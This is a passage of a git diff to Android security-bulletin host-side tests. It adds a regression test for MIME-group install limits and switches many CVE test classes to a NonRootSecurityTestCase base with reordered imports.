diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
new file mode 100644
index 0000000..0723e53
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.junit.Assert.assertThat;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_237291548 extends NonRootSecurityTestCase {
+
+    private static final String TEST_PKG = "android.security.cts.BUG_237291548";
+    private static final String TEST_CLASS = TEST_PKG + ".DeviceTest";
+    private static final String TEST_APP = "BUG-237291548.apk";
+    private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 237291548)
+    public void testRunDeviceTestsPassesFull() throws Exception {
+        installPackage(TEST_APP);
+
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit");
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit");
+    }
+
+    @Test(expected = TargetSetupError.class)
+    @AsbSecurityTest(cveBugId = 237291548)
+    public void testInvalidApkFails() throws Exception {
+        try {
+            installPackage(TEST_FAIL_INSTALL_APP);
+        } catch (TargetSetupError e) {
+            assertThat(e.getMessage(),
+                    containsString("Max limit on number of MIME Groups reached"));
+            throw e;
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index 4ee8a5e..a4b8506 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -15,15 +15,20 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
+
 import static org.junit.Assume.assumeFalse;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_2182 extends SecurityTestCase {
+public class CVE_2016_2182 extends NonRootSecurityTestCase {
 
     /**
      * b/32096880
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
index 462864b..21057e2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_8332 extends SecurityTestCase {
+public class CVE_2016_8332 extends NonRootSecurityTestCase {
 
     /**
      * b/37761553
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
index 0267551..91766f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -15,13 +15,17 @@
  */
 
 package android.security.cts;
+
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0684 extends SecurityTestCase {
+public class CVE_2017_0684 extends NonRootSecurityTestCase {
 
     /**
      * b/35421151
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
index 4f08b71..397078d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -15,13 +15,17 @@
  */
 
 package android.security.cts;
+
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0726 extends SecurityTestCase {
+public class CVE_2017_0726 extends NonRootSecurityTestCase {
 
     /**
      * b/36389123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
index 62c72f2..bd69afb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -15,16 +15,20 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import static org.junit.Assert.*;
 import static org.junit.Assume.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_13194 extends SecurityTestCase {
+public class CVE_2017_13194 extends NonRootSecurityTestCase {
 
     /**
      * b/64710201
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 0990cd4..f67c556 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9410 extends SecurityTestCase {
+public class CVE_2018_9410 extends NonRootSecurityTestCase {
 
     /**
      * b/77822336
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index df360d0..d58b3c3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -17,13 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9537 extends SecurityTestCase {
+public class CVE_2018_9537 extends NonRootSecurityTestCase {
 
     /**
      * b/112891564
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index 1bb5e0a4..f4a91b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9547 extends SecurityTestCase {
+public class CVE_2018_9547 extends NonRootSecurityTestCase {
 
    /**
      * b/114223584
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index bf2b0d1..1db523b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -17,13 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9549 extends SecurityTestCase {
+public class CVE_2018_9549 extends NonRootSecurityTestCase {
 
     /**
      * b/112160868
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index a4d088d..fdf85b7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -21,6 +21,7 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -29,7 +30,7 @@
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9558 extends SecurityTestCase {
+public class CVE_2018_9558 extends NonRootSecurityTestCase {
 
     /**
      * b/112161557
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
index ceeb117..d8027c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9561 extends SecurityTestCase {
+public class CVE_2018_9561 extends NonRootSecurityTestCase {
 
     /**
      * b/111660010
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
index 09d391e..22f1c97 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9563 extends SecurityTestCase {
+public class CVE_2018_9563 extends NonRootSecurityTestCase {
 
     /**
      * b/114237888
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index 6e4d588..cafea31 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9564 extends SecurityTestCase {
+public class CVE_2018_9564 extends NonRootSecurityTestCase {
 
     /**
      * b/114238578
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
index ab18f52..02c470b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9584 extends SecurityTestCase {
+public class CVE_2018_9584 extends NonRootSecurityTestCase {
 
     /**
      * b/114047681
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
index 4f3a3bf..8c24f9d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9585 extends SecurityTestCase {
+public class CVE_2018_9585 extends NonRootSecurityTestCase {
 
     /**
      * b/117554809
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index e899b7a..fb300c4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9593 extends SecurityTestCase {
+public class CVE_2018_9593 extends NonRootSecurityTestCase {
 
     /**
      * b/116722267
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index d6e8fb5..d196681 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9594 extends SecurityTestCase {
+public class CVE_2018_9594 extends NonRootSecurityTestCase {
 
     /**
      * b/116791157
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
index 826db69..6f4c33b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2007 extends SecurityTestCase {
+public class CVE_2019_2007 extends NonRootSecurityTestCase {
 
     /**
      *  b/120789744
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
index 373703e..9fe5cb4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2011 extends SecurityTestCase {
+public class CVE_2019_2011 extends NonRootSecurityTestCase {
 
     /**
      * b/120084106
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index 181d660..1b4a4a7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2012 extends SecurityTestCase {
+public class CVE_2019_2012 extends NonRootSecurityTestCase {
 
     /**
      * b/120497437
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
index 0ac72b2..caaa463 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2013 extends SecurityTestCase {
+public class CVE_2019_2013 extends NonRootSecurityTestCase {
 
     /**
      * b/120497583
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index e6863ac..b54d767 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -17,13 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2014 extends SecurityTestCase {
+public class CVE_2019_2014 extends NonRootSecurityTestCase {
 
     /**
      * b/120499324
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index 1a798c2..bf46c60 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2015 extends SecurityTestCase {
+public class CVE_2019_2015 extends NonRootSecurityTestCase {
 
     /**
      * b/120503926
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index b7c2ea8..b1a1b54 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2017 extends SecurityTestCase {
+public class CVE_2019_2017 extends NonRootSecurityTestCase {
 
     /**
      * b/121035711
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
index 1c5a180..448611f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2019 extends SecurityTestCase {
+public class CVE_2019_2019 extends NonRootSecurityTestCase {
 
    /**
      * b/115635871
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index b65faee..9ea3846 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2020 extends SecurityTestCase {
+public class CVE_2019_2020 extends NonRootSecurityTestCase {
 
     /**
      * b/116788646
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
index 8d0d4d6..b2fd563 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2021 extends SecurityTestCase {
+public class CVE_2019_2021 extends NonRootSecurityTestCase {
 
     /**
      * b/120428041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
index 057e937..e60f0ba 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2022 extends SecurityTestCase {
+public class CVE_2019_2022 extends NonRootSecurityTestCase {
 
     /**
      * b/120506143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index df6c6f4..ad289bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -17,13 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2027 extends SecurityTestCase {
+public class CVE_2019_2027 extends NonRootSecurityTestCase {
 
     /**
      * b/119120561
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index 21b2285..dc94186 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2031 extends SecurityTestCase {
+public class CVE_2019_2031 extends NonRootSecurityTestCase {
 
     /**
      * b/120502559
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
index 8757455..a643561 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
